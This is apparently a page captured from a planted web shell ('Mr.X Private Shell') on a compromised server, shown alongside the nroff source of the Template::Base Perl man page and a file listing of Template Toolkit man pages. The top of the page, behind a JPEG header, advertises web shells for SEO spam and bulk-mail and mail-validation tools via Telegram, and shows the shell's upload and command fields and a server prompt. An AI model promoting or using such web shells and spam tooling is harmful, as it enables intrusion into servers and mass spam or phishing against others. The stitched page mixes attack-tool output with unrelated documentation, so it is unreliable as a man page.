����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
.\" Automatically generated by Pod::Man 4.14 (Pod::Simple 3.42)
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  \*(C+ will
.\" give a nicer C++.  Capital omega is used to do unbreakable dashes and
.\" therefore won't be available.  \*(C` and \*(C' expand to `' in nroff,
.\" nothing in troff, for use with C<>.
.tr \(*W-
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
.    ds C`
.    ds C'
'br\}
.\"
.\" Escape single quotes in literal strings from groff's Unicode transform.
.ie \n(.g .ds Aq \(aq
.el       .ds Aq '
.\"
.\" If the F register is >0, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.SS), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.\"
.\" Avoid warning from groff about undefined register 'F'.
.de IX
..
.nr rF 0
.if \n(.g .if rF .nr rF 1
.if (\n(rF:(\n(.g==0)) \{\
.    if \nF \{\
.        de IX
.        tm Index:\\$1\t\\n%\t"\\$2"
..
.        if !\nF==2 \{\
.            nr % 0
.            nr F 2
.        \}
.    \}
.\}
.rr rF
.\" ========================================================================
.\"
.IX Title "Template::Base 3"
.TH Template::Base 3 "2024-06-21" "perl v5.32.1" "User Contributed Perl Documentation"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.if n .ad l
.nh
.SH "NAME"
Template::Base \- Base class module implementing common functionality
.SH "SYNOPSIS"
.IX Header "SYNOPSIS"
.Vb 2
\&    package My::Module;
\&    use base qw( Template::Base );
\&
\&    sub _init {
\&        my ($self, $config) = @_;
\&        $self\->{ doodah } = $config\->{ doodah }
\&            || return $self\->error("No \*(Aqdoodah\*(Aq specified");
\&        return $self;
\&    }
\&
\&    package main;
\&
\&    my $object = My::Module\->new({ doodah => \*(Aqfoobar\*(Aq })
\&        || die My::Module\->error();
.Ve
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
Base class module which implements a constructor and error reporting
functionality for various Template Toolkit modules.
.SH "PUBLIC METHODS"
.IX Header "PUBLIC METHODS"
.SS "new(\e%config)"
.IX Subsection "new(%config)"
Constructor method which accepts a reference to a hash array or a list
of \f(CW\*(C`name => value\*(C'\fR parameters which are folded into a hash.  The
\&\f(CW\*(C`_init()\*(C'\fR method is then called, passing the configuration hash and should
return true/false to indicate success or failure.  A new object reference
is returned, or undef on error.  Any error message raised can be examined
via the \fBerror()\fR class method or directly via the \f(CW$ERROR\fR package variable
in the derived class.
.PP
.Vb 2
\&    my $module = My::Module\->new({ ... })
\&        || die My::Module\->error(), "\en";
\&
\&    my $module = My::Module\->new({ ... })
\&        || die "constructor error: $My::Module::ERROR\en";
.Ve
.SS "error($msg, ...)"
.IX Subsection "error($msg, ...)"
May be called as an object method to get/set the internal \f(CW\*(C`_ERROR\*(C'\fR member
or as a class method to get/set the \f(CW$ERROR\fR variable in the derived class's
package.
.PP
.Vb 2
\&    my $module = My::Module\->new({ ... })
\&        || die My::Module\->error(), "\en";
\&
\&    $module\->do_something()
\&        || die $module\->error(), "\en";
.Ve
.PP
When called with parameters (multiple params are concatenated), this
method will set the relevant variable and return undef.  This is most
often used within object methods to report errors to the caller.
.PP
.Vb 1
\&    package My::Module;
\&
\&    sub foobar {
\&        my $self = shift;
\&
\&        # some other code...
\&
\&        return $self\->error(\*(Aqsome kind of error...\*(Aq)
\&            if $some_condition;
\&    }
.Ve
.SS "debug($msg, ...)"
.IX Subsection "debug($msg, ...)"
Generates a debugging message by concatenating all arguments
passed into a string and printing it to \f(CW\*(C`STDERR\*(C'\fR.  A prefix is
added to indicate the module of the caller.
.PP
.Vb 1
\&    package My::Module;
\&
\&    sub foobar {
\&        my $self = shift;
\&
\&        $self\->debug(\*(Aqcalled foobar()\*(Aq);
\&
\&        # some other code...
\&    }
.Ve
.PP
When the \f(CW\*(C`foobar()\*(C'\fR method is called, the following message
is sent to \f(CW\*(C`STDERR\*(C'\fR:
.PP
.Vb 1
\&    [My::Module] called foobar()
.Ve
.PP
Objects can set an internal \f(CW\*(C`DEBUG\*(C'\fR value which the \f(CW\*(C`debug()\*(C'\fR
method will examine.  If this value sets the relevant bits
to indicate \f(CW\*(C`DEBUG_CALLER\*(C'\fR then the file and line number of
the caller will be append to the message.
.PP
.Vb 1
\&    use Template::Constants qw( :debug );
\&
\&    my $module = My::Module\->new({
\&        DEBUG => DEBUG_SERVICE | DEBUG_CONTEXT | DEBUG_CALLER,
\&    });
\&
\&    $module\->foobar();
.Ve
.PP
This generates an error message such as:
.PP
.Vb 1
\&    [My::Module] called foobar() at My/Module.pm line 6
.Ve
.SS "\fBmodule_version()\fP"
.IX Subsection "module_version()"
Returns the version number for a module, as defined by the \f(CW$VERSION\fR
package variable.
.SH "AUTHOR"
.IX Header "AUTHOR"
Andy Wardley <abw@wardley.org> <http://wardley.org/>
.SH "COPYRIGHT"
.IX Header "COPYRIGHT"
Copyright (C) 1996\-2022 Andy Wardley.  All Rights Reserved.
.PP
This module is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.
.SH "SEE ALSO"
.IX Header "SEE ALSO"
Template

Filemanager

Name Type Size Permission Actions
.exists File 0 B 0644
Template.3pm File 26.36 KB 0644
Template::App::ttree.3pm File 3.01 KB 0644
Template::Base.3pm File 6.13 KB 0644
Template::Config.3pm File 6.72 KB 0644
Template::Constants.3pm File 5.86 KB 0644
Template::Context.3pm File 24.13 KB 0644
Template::Directive.3pm File 2.94 KB 0644
Template::Document.3pm File 9.89 KB 0644
Template::Exception.3pm File 4.83 KB 0644
Template::FAQ.3pm File 12.48 KB 0644
Template::Filters.3pm File 7.8 KB 0644
Template::Grammar.3pm File 3.16 KB 0644
Template::Iterator.3pm File 9.46 KB 0644
Template::Manual.3pm File 4.4 KB 0644
Template::Manual::Config.3pm File 76.05 KB 0644
Template::Manual::Credits.3pm File 6.84 KB 0644
Template::Manual::Directives.3pm File 73.43 KB 0644
Template::Manual::Filters.3pm File 18.57 KB 0644
Template::Manual::Internals.3pm File 21.04 KB 0644
Template::Manual::Intro.3pm File 11.93 KB 0644
Template::Manual::Plugins.3pm File 11.63 KB 0644
Template::Manual::Syntax.3pm File 12.44 KB 0644
Template::Manual::VMethods.3pm File 26.74 KB 0644
Template::Manual::Variables.3pm File 30.71 KB 0644
Template::Manual::Views.3pm File 23.41 KB 0644
Template::Modules.3pm File 7.83 KB 0644
Template::Namespace::Constants.3pm File 4.09 KB 0644
Template::Parser.3pm File 7.92 KB 0644
Template::Plugin.3pm File 8.83 KB 0644
Template::Plugin::Assert.3pm File 3.55 KB 0644
Template::Plugin::Datafile.3pm File 4.86 KB 0644
Template::Plugin::Date.3pm File 7.88 KB 0644
Template::Plugin::Directory.3pm File 9.88 KB 0644
Template::Plugin::Dumper.3pm File 4.17 KB 0644
Template::Plugin::File.3pm File 10.9 KB 0644
Template::Plugin::Filter.3pm File 10.66 KB 0644
Template::Plugin::Format.3pm File 3.01 KB 0644
Template::Plugin::HTML.3pm File 5.86 KB 0644
Template::Plugin::Image.3pm File 9.9 KB 0644
Template::Plugin::Iterator.3pm File 3.17 KB 0644
Template::Plugin::Math.3pm File 4.7 KB 0644
Template::Plugin::Pod.3pm File 2.9 KB 0644
Template::Plugin::Procedural.3pm File 3.73 KB 0644
Template::Plugin::Scalar.3pm File 3.14 KB 0644
Template::Plugin::String.3pm File 15.07 KB 0644
Template::Plugin::Table.3pm File 9.08 KB 0644
Template::Plugin::URL.3pm File 6.12 KB 0644
Template::Plugin::View.3pm File 3.56 KB 0644
Template::Plugin::Wrap.3pm File 4.5 KB 0644
Template::Plugins.3pm File 7.72 KB 0644
Template::Provider.3pm File 12.55 KB 0644
Template::Service.3pm File 12.64 KB 0644
Template::Stash.3pm File 9.85 KB 0644
Template::Stash::Context.3pm File 5.18 KB 0644
Template::Stash::XS.3pm File 4.72 KB 0644
Template::Test.3pm File 13.27 KB 0644
Template::Toolkit.3pm File 7.24 KB 0644
Template::Tools.3pm File 3.12 KB 0644
Template::Tools::tpage.3pm File 3.9 KB 0644
Template::Tools::ttree.3pm File 14.41 KB 0644
Template::Tutorial.3pm File 2.69 KB 0644
Template::Tutorial::Datafile.3pm File 17.32 KB 0644
Template::Tutorial::Web.3pm File 31.51 KB 0644
Template::VMethods.3pm File 2.81 KB 0644
Template::View.3pm File 10.54 KB 0644